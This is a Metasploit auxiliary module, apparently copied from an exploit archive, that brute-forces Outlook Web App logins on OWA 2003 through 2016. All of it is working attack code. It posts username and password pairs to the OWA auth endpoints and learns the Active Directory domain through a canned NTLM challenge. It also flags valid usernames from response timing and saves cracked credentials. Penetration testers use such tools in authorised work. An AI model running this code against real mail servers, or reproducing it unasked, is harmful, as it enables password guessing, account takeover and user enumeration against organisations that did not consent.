This Metasploit module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
fe449d1093c827b43ae6705f3fdb503e01d7ff4b5ec59ad4e40f9657a25a142a
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team',
'sinn3r',
'Brandon Knight',
'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
'Nate Power', # HTTP timing option
'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
'Andrew Smith' # valid creds, no mailbox
],
'License' => MSF_LICENSE,
'Actions' =>
[
[
'OWA_2003',
{
'Description' => 'OWA version 2003',
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
'InboxPath' => '/exchange/',
'InboxCheck' => /Inbox/
}
],
[
'OWA_2007',
{
'Description' => 'OWA version 2007',
'AuthPath' => '/owa/auth/owaauth.dll',
'InboxPath' => '/owa/',
'InboxCheck' => /addrbook.gif/
}
],
[
'OWA_2010',
{
'Description' => 'OWA version 2010',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
}
],
[
'OWA_2013',
{
'Description' => 'OWA version 2013',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
],
[
'OWA_2016',
{
'Description' => 'OWA version 2016',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
]
],
'DefaultAction' => 'OWA_2013',
'DefaultOptions' => {
'SSL' => true
}
)
register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptAddress.new('RHOST', [ true, "The target address" ]),
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])
])
register_advanced_options(
[
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0])
])
deregister_options('BLANK_PASSWORDS', 'RHOSTS')
end
def setup
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
isempty = true
each_user_pass do |user|
isempty = false
break
end
raise ArgumentError, "No username/password specified" if isempty
end
def run
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{action.name}")
auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck']
domain = nil
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
domain = datastore['AD_DOMAIN']
end
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
domain = get_ad_domain
end
begin
each_user_pass do |user, pass|
next if (user.blank? or pass.blank?)
vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass({
user: user,
domain: domain,
pass: pass,
auth_path: auth_path,
inbox_path: inbox_path,
login_check: login_check,
vhost: vhost
})
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting")
end
end
def try_user_pass(opts)
user = opts[:user]
pass = opts[:pass]
auth_path = opts[:auth_path]
inbox_path = opts[:inbox_path]
login_check = opts[:login_check]
vhost = opts[:vhost]
domain = opts[:domain]
user = domain + '\\' + user if domain
headers = {
'Cookie' => 'PBack=0'
}
if datastore['SSL']
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
else
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
end
begin
if datastore['AUTH_TIME']
start_time = Time.now
end
baseline = datastore['BaselineAuthTime'] || 1.0
res = send_request_cgi({
'encode' => true,
'uri' => auth_path,
'method' => 'POST',
'headers' => headers,
'data' => data
})
if datastore['AUTH_TIME']
elapsed_time = Time.now - start_time
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end
if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return
end
if res.peerinfo['addr'] != datastore['RHOST']
vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
end
if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting")
return :abort
end
if ["OWA_2013", "OWA_2016"].include?(action.name)
# Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
# Check if the password needs to be changed.
if res.headers['location'] =~ /expiredpassword/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end
# No password change required moving on.
# Check for valid login but no mailbox setup
print_good("server type: #{res.headers["X-FEServer"]}")
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end
unless location = res.headers['location']
print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")
return :abort
end
reason = location.split('reason=')[1]
if reason == nil
headers['Cookie'] = 'PBack=0;' << res.get_cookies
else
# Login didn't work. no point in going on, however, check if valid domain account by response time.
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
return :Skip_pass
end
end
else
# The authentication info is in the cookies on this response
cookies = res.get_cookies
cookie_header = 'PBack=0'
%w(sessionid cadata).each do |necessary_cookie|
if cookies =~ /#{necessary_cookie}=([^;]*)/
cookie_header << "; #{Regexp.last_match(1)}"
else
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
return :abort
end
end
headers['Cookie'] = cookie_header
end
begin
res = send_request_cgi({
'uri' => inbox_path,
'method' => 'GET',
'headers' => headers
}, 20)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end
if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return :abort
end
if res.redirect?
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
return :skip_pass
end
end
if res.body =~ login_check
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
else
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
return :skip_pass
end
end
end
def get_ad_domain
urls = ['aspnet_client',
'Autodiscover',
'ecp',
'EWS',
'Microsoft-Server-ActiveSync',
'OAB',
'PowerShell',
'Rpc']
domain = nil
urls.each do |url|
begin
res = send_request_cgi({
'encode' => true,
'uri' => "/#{url}",
'method' => 'GET',
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
vprint_error("#{msg} HTTP Connection Failed")
next
end
if not res
vprint_error("#{msg} HTTP Connection Timeout")
next
end
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
print_good("Found target domain: #{domain}")
return domain
end
end
return domain
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Test if password was passed, if so, add private_data. If not, assuming only username was found
if opts.has_key?(:password)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end
def msg
"#{vhost}:#{rport} OWA -"
end
end